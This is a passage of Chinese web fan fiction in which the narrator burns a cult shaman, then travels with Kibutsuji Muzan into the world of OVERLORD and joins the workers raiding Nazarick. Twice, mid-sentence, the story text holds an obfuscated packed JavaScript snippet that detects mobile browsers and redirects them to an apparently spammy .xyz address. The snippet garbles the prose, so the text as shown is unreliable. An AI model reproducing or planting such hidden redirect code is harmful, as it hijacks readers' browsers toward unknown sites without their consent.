我把□□砸在了大巫贤身上,瓶中的助燃液体随着玻璃瓶的碎裂淌了他一身,也滴滴答答落到地上。他身上穿着厚重的巫袍,几乎是一点就着,而落到地上的液体也顺着铺了一地的杂物燃烧起来。 惨叫声传入耳中,做完这些的我却感到一阵轻松,至少没有那烦人的铃声了。 冷静下来想想,大概算是一种激情杀人,不过算了,把奘铃村的东西毁得再彻底一点,后续的几部主角也少走点弯路,困扰他们多年的梦魇更是早该这样一把火烧掉了。 惊讶于我把大巫贤烧了的鬼舞辻无惨挑眉看着火中人挣扎的模样,但什么都没评价,转身走了。 我有些没力气出声喊他了,但其实我快走不动了,头痛的感觉是缓解了,但做完这些后疲劳感直接涌入脑海,我实在是有点累了。 “无……”口中只发出点气音,我脚下一软趴了下去。 睁开眼睛的时候,眼前是碧绿的树叶,身上到处都很疼,大脑倒是慢慢恢复了认知。 确实像睡了一大觉,但也没感觉休息得很好,我想我这段时间来是有点太累了。 “我真的有些佩服你了,你怎么能做到晕倒那么多次的,那不过是一些花香。”鬼舞辻无惨的脸出现在视线内,我偏过头看了看,自己正躺在他脚边,“那个纸新娘本人跑出去后都活蹦乱跳的,你就直接倒下去了。” 他笑着我的狼狈。 谁知道怎么回事,我体质也没差到吸点花香就受不了了,怎么会中那么多幻觉的。 我缓了一会才攒出力气开口讲话:“又给你添麻烦了,抱歉……” 他反倒是有些厌烦我向他道歉的样子,手指放在唇前思索着什么,终于开口问我:“我是有些好奇,那幻觉究竟让你看见了什么好东西,连逃跑都忘记了。” 好东西,还真算不上。 两次幻觉从始至终都只有他,而且都是他要将我吃掉的场面,六葬灵塔内那会看到的要更有欺骗性,约莫也是因为施术的人就在跟前。 我告诉他这些,看着他现在终于不再有异变的面容。“其实也挺好的,至少没看见什么吓人的东西,知道是你的话,变成什么样子都没关系,应该说都很漂亮吧。”我尽量扯出个放松的笑看向他。 “变成什么样子都没关系?即便是要杀你或者吃掉你?”他双手抱胸俯视着我,“你是白痴吗?想死的话我现在就能实现你那点心愿。” 我喘了口气。 “只是觉得,在那个意识到自己差点就死掉的时候,突然明白了一点……” 这里似乎是树林深处的某个地方,外面应该早就天亮了,这边倒是晒不到太阳,也不知道他有没有用掉那个免疫阳光的道具。 “我明白了,自己大概在一开始,想和你一起去日本、一起走上这段旅程的时候就已经都想清楚了,”我半眯起双眼对着他傻笑,“无论未来自己会走到什么样的终点,会由你来给出什么结局,我都能接受。在一开始我大概就已经决定好了,因为能够和你一起,这件事本身就已经非常非常……非常满足了。” 所以两次幻觉中看见鬼舞辻无惨,我大概都当真了,也都没有想着躲避什么。 不过想想还是有点差劲了啊,连真实和虚假的他都分辨不出来,他也许会抓着这点说上几句吧。 “连幻象都分辨不出来的蠢货,还妄想着我给你结局,你倒是敢做梦。”他果然这么说了。 “那么就在这里吃掉我当作补充也可以哦。” “醒了就起来吧,没时间给你躺着做白日梦了。”他没有再接我的话,自己朝树林更深处走去。 我抬头想找他的身影,这个姿势下视线受阻实在是严重,不得已我还是忍着疲惫感爬了起来。 不过话说回来,虽然确实是白天躲避阳光才在树林里走的,但这个方向怎么感觉也不是往我租的车停下的地方走呢? 周围的植被越发茂密起来,就算奘铃村位于山区,周边植被也不至于这样旺盛地生长吧,这里已经不像本土的森林了。一定要说的话,大概是在一些中世纪西幻作品中会见到的那种树? 而且为什么走了那么久还看不见森林的边界? “无惨,这片森林是不是不太对?”我几步跟上他,发现他已经紧皱着眉头,但他没有停下脚步的意思。 我又喊了他几遍,他终于站住,有些不耐地转头看向我:“那又怎样呢?难道光说不太对就能解决问题了?你能不能多用脑子自己想想,这里不是那个村子附近的地方,估计都不在中国了吧。” 我缩缩脖子,抬头看了眼树叶后透出的光线,外面应该还是白天,他也没办法去到森林上方查看情况。 系统也半天不吱一声,明明《纸嫁衣》的剧情都结束了,但系统没有给出任何提示,话说回来我的任务奖励呢! 中途休息了几次——主要是麻烦无惨等我歇一会——等到外面天空完全黑下来时,我们也终于走出了森林。 眼前是一片过于广阔的荒原,远处有一块形似山丘的地貌,不知道具体是什么。 好吧,这绝对不在国内,那么给我带哪来了呢? 【已完成任务《纸嫁衣》,获得积分奖励100分】 夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679143|173202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空中唐突浮现出一行字。 这系统终于给点内容提示了…… 【检测到玩家恶意伤害行为,扣除积分20分】 等等等等,哪来的恶意伤害啊! 拿□□砸大巫贤?可那是正当防卫啊!虽然确实没考虑过烧人可能导致的伤亡,包括让他受重伤的话警方后续取证也会有些难办……但是这怎么就给我扣分了! “我差点就被他弄死了我难道还不能……”我指着自己看看无惨看看天上的系统字幕。 20分呢,那□□当时也就花了10分买的,早知道还有这种惩罚扣分我就自己找材料做□□了。 【完成支线任务<协助破除奘铃村邪教迷信>,获得积分奖励30分】 …… 好笑吗? 我笑不出来。 这只是把我放火和买放火道具的分补回来了而已,认真来说我还是亏30分啊,想想就有点莫名的肉疼。 算了,还是别太纠结这些了,后面还可以再多赚些。 我是明白了,这个游戏还有一些隐藏支线,完成支线都可以加分,按照我对各类ip的同人阅读经验来看,多半会有一些弥补意难平角色、或是救活一些人的任务。 虽然这么做估计会更麻烦,而且无惨不一定会愿意多花这些心思……问题不大,我尝试说服他一下。 【玩家现有积分:180分】 【即将进入后续任务,检测到任务难度较大,玩家可选择获取技能】 我身上突然亮起光来。 看了一眼无惨,他没有任何异样,现在也只是若有所思地看着我。那么这个辅助道具就是给我的了,也不知道什么任务难度能大到让抠门系统免费给我一个金手指。 【请玩家自由选取技能,选取范围任意】 “任意啊,也就是说从我看过的作品ip中随便选一个都行吗?”系统没有答复,但没有否定应该就是意味着默许,我想了想脱口而出道,“我想要【爆裂黎明】。” 【技能已禁用,请玩家重新选择】 滚啊! 我玩维什戴尔怎么你了啊不是……我选择一个强度最可观最赏心悦目的技能惹谁了吗?明明都说了可以自由选的,我就寻思选一个最能安心的,说不定之后还有机会让无惨夸我两句,怎么偏偏就禁用了…… 唉算了,还是继续从《明日方舟》的相关技能中选吧。 我看过的作品不算少,但必须说的是,源石技艺绝对是这种时候最好用的玩意。 同一种源石技艺可以被用出不同招式,所以我更可以钻文字的空说出自己想要获得哪个角色的“源石技艺”,这样不仅是角色在游戏中表现出的技能,我还可以尝试自己开发一下新技能。 虽然也有其他的一些作品是不错的,但似乎大多数都需要额外的武器,我还是更希望自己能不要因武器缺少而用不出技能。 我把《明日方舟》的角色想了个遍,最后确定了下来:“那就塞雷娅吧,塞雷娅的源石技艺,我学这个总行了吧。” 白色的钙质物质覆盖上我的手掌和手臂,在这个时刻我能感受到它们是可以跟随我的心意由我掌控的。 这就是钙质化,之后有机会探索一下亲身体验的用法。不出意外的话应该可以直接覆盖在手上用来打人,虽然缺少注射器的情况下做不到急救和药物配置的效果,但钙质化这项技能本身的治疗和减速效果或许还是可行的。 塞雷娅……没有比她的源石技艺更好的技能了吧,这种时候。 风暴中,唯保守者屹立不倒。 【商城解锁新物品:技能石】 【可在单次战斗轮中使用并获得临时技能】 商城多了一种标价30积分的小石头,上面刻着些奇怪的纹路。 临时技能的话应该就只能维持短暂的时间,说到底单次战斗轮到底是怎样定义的啊,要是陷入车轮战的话是算单次还是复数次,这系统是一点都不说。 但总之既然有了这样的道具,对我来说倒算帮大忙了,技能的选择范围可以覆盖到我了解的各类作品ip,那么之后就得整理出来哪些技能是战斗情况下使用技能石的最优先选择了。 【已进入新关卡地图】 天上的字幕留下最后一句,随后渐渐消失。 那么这个大平原就是新的关卡了,这种环境隐隐约约让我感觉像哪部异世界作品,但众所周知异世界作品已经可以说是有些烂大街的程度,仅凭现有的信息实在无法确定究竟在哪一部。 无法确定具体的世界观和世界环境,也就无法保证当下的安全,谁知道这是不是一个天上突然飞过来龙然后抓走人的世界。 “闲话说得差不多了,那边那个,是什么?”鬼舞辻无惨往旁边地势高一些的地方走了几步,看向远处丘陵地形一带,那边似乎有什么建筑体。 我快步跑上去,站到他刚才的位置往那边看过去,丘陵地貌环绕着一座古建筑遗迹模样的空地,圆形的广场中央有一座主建筑。周边地形没有什么照明物,那边的遗迹显得十分阴森。 迷宫?地下城?感觉是这样的存在,果然也是异世界标配。 不,这个遗迹的样子好像是…… 我想起来了! 一阵头皮发麻后,我理了理思路,做了个深呼吸转头告诉无惨: “是纳萨力克地下大坟墓。” 协助破除奘铃村邪教迷信> 12. 第 12 章 “坟墓?我可不记得地球上哪里有这么大的遗迹。”鬼舞辻无惨看着远处的地表遗迹建筑说,“看上去还是无人涉足的地方,要么是这是历史上的某个时间节点,要么就是……” 他看向我,似乎已经料到我的回答。 我点头如实相告:“可以称作异世界,简单来说,在穿过森林的过程中,我们穿越了。” 他闭上眼睛凝神思考了一会,我不知道鬼是不是能感受到魔法之类的东西,尽管《OVERLORD》原作没有那么细致地讲解过魔法原理,但从能量守恒的角度来说,有魔法体系的异世界环境里都会有那么点魔力能量。 我张开手掌回想着之前习得技能时的感受,银白色的钙质沿着我的手指覆盖手部表皮,又在我卸力之后消散。我是没感受到周围有任何魔力,看来源石技艺本身和魔法还是不互通的。 “这里是有魔法、幻想生物、冒险者这样那样的异世界,你可以想象自己看过的西方奇幻小说——如果你看过的话。”我向无惨解释了一下,想了想又补了个预防针,“异世界或者奇幻世界相关的作品不少,我们之后可能会去挺多这样的地方。” 《OVERLORD》里的异世界应该算是个相对危险的地方,亚人种和异形生物遍布各地,人类在这里实在太过弱小,难怪系统会白送我一个技能。 不如说即便有了钙质化这种在《明日方舟》里排在T0的技能,到这个异世界来也还是得尽可能避免和高等级敌人正面作战,至于无惨的战力在这里会算入哪个区间……这种跨作品斗蛐蛐的话题还是算了吧,实在太难想了。 不管怎么说最保险的方式是找到主角安兹·乌尔·恭,如果能跟安兹那边产生联系并且留下个还算不错的印象的话,也算是有个靠山。就算没办法做到这一点,至少也得小心绝不能惹到他们。 但我依然只是一个人类,无惨睁开眼后我看着他那双红眸出神,纳萨力克是不欢迎人类的,这从一开始就决定了我在安兹和NPC眼中的初始好感必然是负数。 嗯说起来,远处是不是有个地方有些火光? 不像是着火的样子,应该是营地篝火一类,仔细看的话能看到帐篷的顶部。 我把那边指给鬼舞辻无惨,他想了想说去那里。 我好像想起来这是哪一段情节了。 脚下没工夫停留,我边走着边把作品世界观描述给了无惨,然后说到我们即将前往的营地:“这里的情节是几个黑工小队探索‘突然出现的野外遗迹’,也就是纳萨力克,但实际上是安兹为了测试大坟墓防御系统引诱小白鼠的行动,当然还有为了对付帝国,这个之后再说;简单来说,那边营地里的黑工一个都不会活着离开。” “听起来你有些兴奋。”他瞥了我一眼,“你的同族要面临死亡或是比死亡更痛苦的结局,而你表现出的情绪好像并不为他们感到惋惜。” 黑工营地离我们越来越近,我看着那边的亮光,张口后顿了顿,说:“人各有命……他们接下委托入侵这里的时候就该想过自己可能会遇到什么,我也只是读者、观众、旁观者……” 没办法解释。 我突然发现怎么说都有些苍白。 事实上只是因为那些黑工站在了主角团的对立位置,所以旁观者的我自然是向着主角了,哪怕主角是正义值-500的极恶者。 只是心理产生了偏向,所以对担任主角的安兹有好感,同时也自然下意识袒护他,即便我知道这些黑工里有传统意义上的“好人”,是在其他作品中或许能成为主角的人。 “我来替你回答吧,因为你是站在故事的主角一方,将自己的心理代入他们这边;无论是那个侦探小鬼,还是那个纸新娘,因为他们都是主角,对吗?” 我们已经离黑工营地不远了,鬼舞辻无惨放慢了脚步,压低声音问我。他从我试图回答他的时候就似笑非笑地看着我,对我有些语塞的尴尬反应表现出一种……满意。 “支持主角是人之常情,因为作者会着重笔墨描写他们的故事,让读者对他们产生共情。这样想来或许那些猎鬼人是那个故事的主角,他们应该赢得了不少读者的眼泪。”说到这里,他颇有些不屑的嗤笑一声,随后话锋一转,“白夜,你,也为他们流过泪吗?” 我猛地站住,怔怔地看着他,只感到自己的双手在颤抖。 “还真是有些神奇啊,想到你之前对我发表过的‘喜欢’和长篇大论的感想,你应该是真诚的,但我也很想知道,你是为何会喜欢我?” “我……” 我试图回答他什么,话语却卡壳一般不知从哪讲起。这时前方迎面走过来一个人,我认得他,是四谋士的队长赫克兰。 他边走边向我们这边打招呼:“二位是迷路的旅人吗?出现在我们的营地附近,因为我们还有其他工作,可能要麻烦你们远离这边一些啦。” 我尚且还沉浸在鬼舞辻无惨抛给我的问题中,他却迅速换上礼貌的笑转头和来者交谈起来。他告诉对方我们见到这里有一座巨大遗迹,又有营地驻扎,就想看看是不是也想去探索遗迹的队伍,可以结个伴同行。 他倒是对这种奇幻世界适应良好。 “她是我的同伴。”这句话从他口中说出也挺微妙的,但随着他的话,包括赫克兰身后另外他的另外三名队友在内,几个人都看向了我。 再发愣未免有些可疑了,我尽量调整了自己的表情,先努力微笑着问候了他们:“你们好,我和月彦先生是一起旅行的同伴,因为也喜欢探索遗迹迷宫之类的,所以应该能算冒险者吧。不过我们不太喜欢被冒险者协会的等级委托约束,所以如你们所见,我们没有那种表示级别的金属牌。” 能感受到投来的视线中多了一些疑惑和思忖,大概是因为我和无惨的衣着打扮实在有些不像一般印象中风尘仆仆的旅人。而且不喜欢冒险者协会所以没有等级牌,但又喜欢到处下迷宫……这个说法也只是我临时想的,不知道能否成功让他们信服。 还好来交涉的是四谋士,其他三队可能真不会这么好说话。 “嗯,实话告诉你们吧,我们也是接了他人的委托,和其他几支队伍一起前来探索这个遗迹的,所以不太方便……”赫克兰果然犹豫着想拒绝。 我赶在他把话说完之前继续说出了我的提议:“我们也只是对这处壮观的遗迹感到好奇,想弄清楚里面究竟有什么,满足一下好奇心而已,不会打扰各位工作,也不会妨碍你们的委托。” 言下之意是他们若在里面找到财宝,我和无惨不会要求和他们分享,这群黑工都是为了钱来的,少一队分钱但又多一些出力的,他们应该会同意。 而且如果没记错的话,这四个人也是比较喜欢冒险探索的,希望他们可以被说动。 “哎呀,虽然我也很想答应小姐您的请求,但实在是因为我们这边也有其他队伍,他们不一定会同意呢。” 真是难搞……他们不同意的话我还怎么去找安兹抱大腿! 就在对话有点僵持不下的时候,又一个高大的身影从他们后面走上前来,沉重的脚步声中夹杂着金属铠甲摩擦碰撞的声音,悦耳的声音代表着所有者装备品质的高级。 是安兹在王国的冒险者身份莫莫,有戏。 他走过来看了看我,又看了看旁边仍挂着礼貌微笑的无惨,低头问赫克兰:“我听见这边有一些动静,为了确保安全来查看情况,这是怎么回事?” “啊莫莫先生,这两位旅人说他们也想和我们一同进入遗迹探索,出于好奇。” 我看着那盖住其下面容的头部盔甲,笑着适时地补上一句:“那个应该是地下迷宫吧,探索迷宫很有趣,所以也想去看看呢。” 一些审视的目光落在我身上,如果细想回忆起其下是不死者的面孔的话,大概还是会有些背后发凉吧,但至少这是“漆黑的莫莫”,他会表现出和蔼些的态度的。 “探索迷宫很有趣吗,呵呵……”他复述了一遍我的话,低声笑了笑,假意思考了一番,表示了许可,“那就让他们也一起加入吧,我可以为此担保,如果他们在营地里破坏的话,我也会负责清理威胁。” 听得出来,他大概是心情不错。 一定要说的话我对地下迷宫有兴趣这话也不假,毕竟我看过许多奇幻世界的作品,也了解过部分DND相关的元素,地下城这种事,自然是很有意思的。虽然如果真的要下迷宫的话,光凭我和无惨两人还是难以满足一支队伍的职业需求,但现在“感兴趣”这样的理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679144|173202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 由已经可以让安兹产生一点好感了。 他可是很喜欢伙伴一同探索未知呢。 我谢过莫莫和四谋士,转头对无惨也笑笑。 他似乎暂时把方才的话题搁置了,这样也好,毕竟我现在也给不出能让他满意的答案。 “那个莫莫可不像人类,他是什么?” 我和无惨并没有单独的营帐,但这些黑工也马上就在夜间要开始行动了,我们就直接坐在营火旁休息,中途无惨看了好几眼莫莫居住的营帐。 我同样低声回答他:“安兹·乌尔·恭有一个塑造正义形象的伪装身份,就是冒险者莫莫,因为他本身的等级超过了这边所有的人,所以哪怕法师没有战士的技能,他光是蛮力挥舞大剑也已经能打出很高的伤害了。” 数值怪是这样的哈哈。 “冒险者莫莫的同伴娜贝是纳萨力克的战斗女仆‘昴宿星团’的七姐妹之一,也是魔法吟唱者,等级基本上也高于这个世界的大部分人了。” 说起来,无惨也算数值怪吧。 我在他思索的时候偷偷看着他,他应该是不屑于防御和闪躲的,毕竟大部分事物都无法对他造成伤害,攻击方式也是直接用他人反应不过来的速度和扛不住的力量压制……嗯,果然是零防血牛数值怪,讲究一个力大砖飞。 “你在看什么?”大概是我的目光越发呆滞起来,他有些受不了地把我叫回现实。 “不,没什么……在想晚上的行动,四谋士会踩到传送陷阱,传送到纳萨力克第六层的竞技场,直接见到安兹,我想我们晚上跟着他们走,是最方便的。” 即便是能使用钙质化的现在,我也没把握自己能打过大坟墓内的小怪,而且接到全灭入侵者命令的他们,可不一定会被说服了带我们去见安兹。直接见面是效率最高,也是风险最低的。 大概低吧,只要假装自己也是YGGDRASIL的玩家就好了…… 无惨听完我的想法,也没有对我直接决定行动方式的做法生气,只是问了我一句:“你是有自信可以击败他,还是有自信能让他变成我们的协助者?” 呃,说实话,没有。 击败他是自然不要想了,这个作品里安兹就是绝对的实力顶点,再加上场上还有大坟墓的NPC们,想靠硬打打赢简直是有点做梦了。 至于让他变成协助者什么的,其实我能想到的只有滑铲加入纳萨力克这个办法,但自尊如鬼舞辻无惨,他会愿意采纳我的想法吗? 诶,对了,无惨是鬼啊。 “安兹是个收集癖,”我对他提起另一个话题,“现在你是这个世界唯一的鬼,更是YGGDRASIL游戏里没有的生物,他肯定会希望你加入纳萨力克,对你的态度自然也会比对人类好。” “哈,那你是觉得你不是人类了?” “嗯……你真的还是无法用血鬼术吗?”我双手合掌真诚地向他提出了我能想出的最好策略,“如果你能把我变成鬼的话,用这个世界的说法,就可以告诉他们我是你的眷属了。” 他像是被我的提议无语到了,甩给我一句“你能不能清醒一点”便转过头去看其他队伍的营帐。 “好吧,我再想想……养个人类当宠物这种行为他们会欣赏吗?那几个NPC应该也不是没有这么做过尤其是夏提雅的话……” 身旁传来轻声叹息,随后细碎的声音打断了我的思考。 我问他去哪,他看都没看我,说和我无关,便自己迈步向几个营帐去。 我在营火旁坐了一会,还是没等到鬼舞辻无惨回来。因为有些耐不住寂寞和偶尔走出营帐的黑工困惑的目光,再加上实在有些好奇他到底去做什么了,我也站起来向他刚才的方向走过去。 绕过营帐,他正背对我站着,他的身前似乎跪了一个人,从装备来看大概是个盗贼。 这是在做什么? 我探头出去想看得清楚些,却直接和他的视线对上,一时愣在原地不知道该说什么。 他不耐地“啧”一声,随后还是侧过身让我看清了他面前那人现在的样子——逐渐失去血色的皮肤、充满血丝的双眼、口中突起的尖牙,还有瞳孔中逐渐变化成竖线的瞳孔。 鬼舞辻无惨把那个人变成了鬼。 13. 第 13 章 鬼舞辻无惨把一个人变成了鬼。 我亲眼看着那个人半张的嘴里牙齿一点点变异,而后在某个时刻,像是彻底完成了转化的步骤,猛地抬头看向我,倏地朝我扑过来。 我被吓得后退,一下也忘了用源石技艺的技能防御,好在那个被变成鬼的盗贼被无惨从身后拉住,甩到营帐后的土坡上。 “无惨,你……”我有点不敢看他。 他明明刚刚才承认过自己没办法用血鬼术,也无法转化鬼的。 所以一直以来他在骗我?可是,为什么?这么做对他又没有好处。 “你真的很烦,”他双手抱臂瞪着我说,“就忍不住这一点点好奇心?还是你以为我真的不会杀你?” “所以你是从……” 话说到一半,我在一瞬间明白了所有事。 我在奘铃村的时候,模糊的意识中看见的并不是幻觉,大巫贤和那些村民之所以再看见他时有些害怕,是因为他真的吃了两个人。 但他在最初大概是确实无法使用的,不然他早就做一些更利于他的事了,我也不太可能活到现在。那他又为什么要瞒着我? 我看了眼那个他转化的鬼摔过去的土坡。 好吧,反正我明白现在是什么情况了。 我挠挠头,指指身后的营火处重新开口道:“那我回去等你了。” 算了,没什么好问的。 鬼舞辻无惨转化鬼自然是为了做点能为他所用的棋子,哪怕我已经告诉过他这里的黑工都会死掉,他估计还是需要拓展视野来观察纳萨力克内部结构。 之前吃奘铃村村民也就那样了,反正也是迷信六葬菩萨邪教的教徒,而且我都是被他救的那个,还挑三拣四要求他什么呢。 他确实没有告诉我的义务,我也没有擅自探听他自己的计划的资格。 我在他回答之前麻溜地转身大步走回营火旁坐好。 他很快就回来了,我们异常默契地都没有提刚才的事和那个被他变成鬼的人,我给了他一张卷轴,上面是这些黑工在白天侦察绘制的纳萨力克周边地图。 有点不知道该说什么,干脆闭嘴吧。 今天晚上的一连串事让我稍微有些不安,也很难说出具体原因,但无惨之前的那几个问题和刚才不小心撞见的现场都让我感到一点微妙的……愧疚。 啊,好像是惹他生气了,毕竟他都说了跟我无关了,力量恢复也是不想告诉我的事情,我还跑去看见了那一出,也不知道变成鬼的那个人之后会怎样。我认不全每一个黑工,也分不出那个人是哪支小队的,自然也想不起他会被传送到纳萨力克的哪个地方。 好的一点是变成鬼的那个人就算掉进恐怖公的房间,被蟑螂啃噬身体的时候应该也不会太痛了,恢复速度也可以比治疗法术快一点。 我到底为什么还在担心别人啊! 鬼舞辻无惨现在还装一下一般路过冒险者,在《OVERLORD》的剧情结束之前他应该不会把我怎么样,但是之后结束了他会不会把我灭口啊? 好愧疚,真是对不起啊我不是故意要窥探他的秘密的。 他的问题我也没办法回答,想了一个晚上也想不出答案,喜欢这事本身就挺没道理的,更何况要跟喜欢的对象本人讲理由,能想到的不是过于羞耻不好意思说就是太白痴了点。 我确实害怕这种事发生,虽然平时都能自信说起“我推不在意我不是理所当然吗”,但如果我成为他讨厌的人,那种感觉想想都叫人窒息。 说起来我好像到现在为止都没做成什么能让他称赞的事……想到这里脑子里浮现出了他问我那几个要命的问题时脸上那点近似满意的神情,为何是满意? 看见我被那些话问住、一脸不知所措的样子,他觉得很满意吗?所以会问那样的问题,一点点击溃我的精神防线,他是想看见这幅情景吗? 说到底我其实一点都不了解鬼舞辻无惨吧。 “该走了。”无惨见我又在发呆,有些无奈地喊了我一句,便去跟在那些黑工身后没再理我。 嘿嘿,他还是愿意和我说点话的。 之前与四谋士有过简短的交流,他们的四人小队可以短暂容纳更多人,也确实只有他们还愿意带上两个“拖油瓶”行动,这样倒是正合我意。 先通过隐身魔法穿过遗迹最外层的空地,避免在外围被机关或小怪消耗体力,来到四边的小型墓室。 队长赫克兰和信仰系的魔法咏唱者罗巴提库推开石棺上的石板,棺中没有任何遗体,只有满满的金币和珠宝,以这个世界的标准来衡量,这些财宝能满足他们后半辈子的全部开销。 四谋士中的另一位魔法咏唱者阿尔谢是没落贵族的大小姐,为了偿还父母欠的债、将两个妹妹带离家中独自生活而作为黑工奔波着,她看见这些财物的时候眼睛都快直了。 作品的剧情里安兹在外围的小墓室各放了足够让这些黑工衣食无忧大半辈子的财宝,如果有人在这里取走自己所需的一部分便转头离开的话,还算有活命的机会,但可惜的是这些人都认为遗迹深处还有更多金银财宝,没有人回头。 就连面前的四谋士小队也互相对视点了点头,告诉我们要继续向主墓室前进。 “说起来,之前听各位聊过,阿尔谢小姐似乎是比较缺钱,你们才接下这个委托。”我顺手从石棺中拿起一枚金币,上面刻着复杂的花纹,“这些钱还不足以解决阿尔谢小姐面临的问题吗?” 她低下头犹豫一下,回答说:“已经十分足够了,哪怕只带走一点点,也已经能解决燃眉之急,但就这么回去并不符合委托要求,若是对方提起赔偿的话,就会有更大的麻烦。” “而且主墓室应该会有更多宝物吧,等全部探索完,把这里的机关和怪物解决掉,就可以请人来一起搬运了,比我们现在取走一部分带回去的效率更高呢。”赫克兰补充了一句,其他几人都没有反对的意思,看来他们也是决定深入大坟墓找寻更多的机遇。 “那你们不怕之后遇到无法解决的危险?”鬼舞辻无惨对满箱闪着金光的宝物没什么兴趣,他站在墓室的另一边抬头观察着墙上悬挂的安兹·乌尔·公公会旗帜。 如果没记错的话这面旗是用贵金属的线缝制的,做工精良设计也很漂亮,应该还有为了妥善保存而施加的魔法加护,现实世界很难见到这样的制品。 “我们有信心解决大部分困难,迷宫探索的经验以前也有过,遇到太危险的存在我们也会及时撤退。”伊米娜作为巡林员正通过小墓室的后门看向那边的大墓室,中间的广场没有任何动静,能依稀看见远处其他小队的人正赶往中央墓室。 唉,如果不是在这部作品的话,他们大概真的能以主角的身份演绎一段精彩的故事吧。 但也没什么可惜的了,毕竟我也有尝试问过他们要不要现在折返,既然他们拒绝了,那之后的事情就只需要像以前一样,当个观众看着就好。 当个观众就好,我这样告诉自己,我一直都是观众,改变不了这四个传统意义上好人的角色的结局,除了感慨是他们运气不好惹了安兹以外不用有什么别的想法。 无惨问的问题也不需要用力思考,想来是我被他的提问方式牵着走了,其实答案一直都很简单,因为我就是旁观者所以心里向着作者着力描写的主角,这在任何作品都可以是理所当然的事实,而这条事实本身不需要其他原因了。 至于在这个基础上我为什么会喜欢他,这件事情就更不需要理由了。 只是喜欢而已,因为觉得喜欢,就一直这么做了,非常简单。 等这边的故事结束之后再找机会好好和他说吧。 纳萨力克外围自动生成的怪物都是低等级不死者,没有很大的威胁,拿来练手钙质化的源石技艺倒也不错。 我看着缓慢走来的不死者弓箭手,握拳后将钙物质覆盖在手上,回想着游戏中塞雷娅提到过的珐琅质,使手上的钙物质变得坚硬起来。我挥拳打向面前的骷髅架子,骨头受到重击很快散落一地,接触到我的拳头的一些地方甚至直接被打碎了。 能行,虽然比不上塞雷娅,但能让我变得不那么容易死。 黑工们一路顺利地前进着,全然不知外围的小怪只是引诱他们深入的另一份钓饵。 自然而然地,他们很快就撞上了无法解决的危机。有些人踩到了陷阱机关,召唤出高等级的不死者大法师追着他们施法,有些人被陷阱传送到了其他的地方。走到这里,再刷出来的魔物即便等级不低,所持武器也都是些魔法道具了,已经不可能像刚才那样轻松地打赢他们。 跟着四谋士的队伍,我和鬼舞辻无惨也顺理成章地踩上了通往纳萨力克第六层竞技场的魔法陷阱,一阵刺眼的光芒闪过后,便已经站在幽深的廊道里。 有光亮的一边是一扇巨大的铁门,门后是竞技场平坦的空地。 “我见过这样的地方,这里跟帝国的竞技场一模一样。”阿尔谢抓紧了她手中的法杖,能感觉到他们四人都有些不安。 为了躲避高等级魔物而踩中传送陷阱,之后不知道要面对什么样的敌人,这种感觉是不难理解。到了这里我还是没忍住暗笑一声感慨这四位的运气真是不知该说好还是不好,选死法也抽到这边的最大奖项——安兹·乌尔·恭本人。 铁门缓缓上升,仿佛在邀请我们上前去。 我在门升上去之前扒在栏杆上看了一眼竞技场内部,确认了环境和自己在原作品中看到的无误后,趁四谋士迈步跨入竞技场的时间悄悄退回队伍后面。 “安兹的样貌是巨大的骷髅,他身体里有颗红色的飞鼠玉看起来像弱点,实则也是引诱别人攻击来触发。”我凑近鬼舞辻无惨小声给他讲着这边的情节,“他装作战士测试自己的战斗数值,本来也想让这几个人以战士身份死去,不过四谋士为了活命编造了一些话,踩了安兹的雷区,所以……” 我对他眨眨眼,他了然地冷笑一声:“自作聪明。” “我先前对安兹说我们是自由旅行者来探索遗迹,凭这一点应该能让他不会第一时间攻击我们,到时候就先等他们四个人的结局落定,再尝试和安兹交涉。” 我看着从竞技场上方跃下来充当主持解说的亚乌菈,竞技场另一边的门缓缓打开,脱去高级装备的安兹戴着降低自身属性的道具走了出来。 “对了,我跟你说过他是游戏玩家穿越到这里的对吧。”我转头对无惨补充,得到他的点头认同后继续道,“他原本的ID是飞鼠,玩家本名叫铃木悟,如果你之后有事找他的话,喊这两个名字能让对话的效益最大化。” 我扯了扯无惨的袖子,说我们稍微站得离四谋士远一点。 之后的情节就跟原作一样,为了活下去而编造自己是得到安兹同伴的许可才进入大坟墓的赫克兰并不知道这个名字原本是属于公会的名字,当他喊出安兹的时候,对方眼中闪过一瞬的激动立刻消失了,取而代之的是失望和愤怒。 厚重的黑气环绕在安兹身边,强制冷静魔法的隐隐绿色荧光都被盖住,在一阵怒喝之后,强制冷静终于是起效了。冷静下来的安兹对赫克兰的谎言表示理解,但触及他底线的言行必然是不会被他轻易放过了。 不过说起来,这种时候该怎么办啊? 我本意是不太想和安兹打的,因为等级差距太大,我能做到的任何物理伤害和法术伤害应该都会被无效化,完全没办法战胜他;但如果什么都不做干看着的话,在四谋士那边又会被当作奇怪的人,尽管他们的意见到现在也不那么重要了。 但作壁上观的最大缺点是连带着我请求加入探索的行为也会显得十分刻意,被安兹怀疑上可不太好。 安兹脱去了外袍,手持剑盾面向这边。 然而在战斗开始之前,他突然指向我和无惨说了一句原作未曾听过的话:“虽说再一次分割你们的战斗力有些不太公平了,但既然你们明显是由两支队伍组成的,强行配合也会打乱你们的节奏。我允许你们采用车轮战的方式——如果你们有命完成交接的话——让我看看配合默契的小队是什么样的吧。” 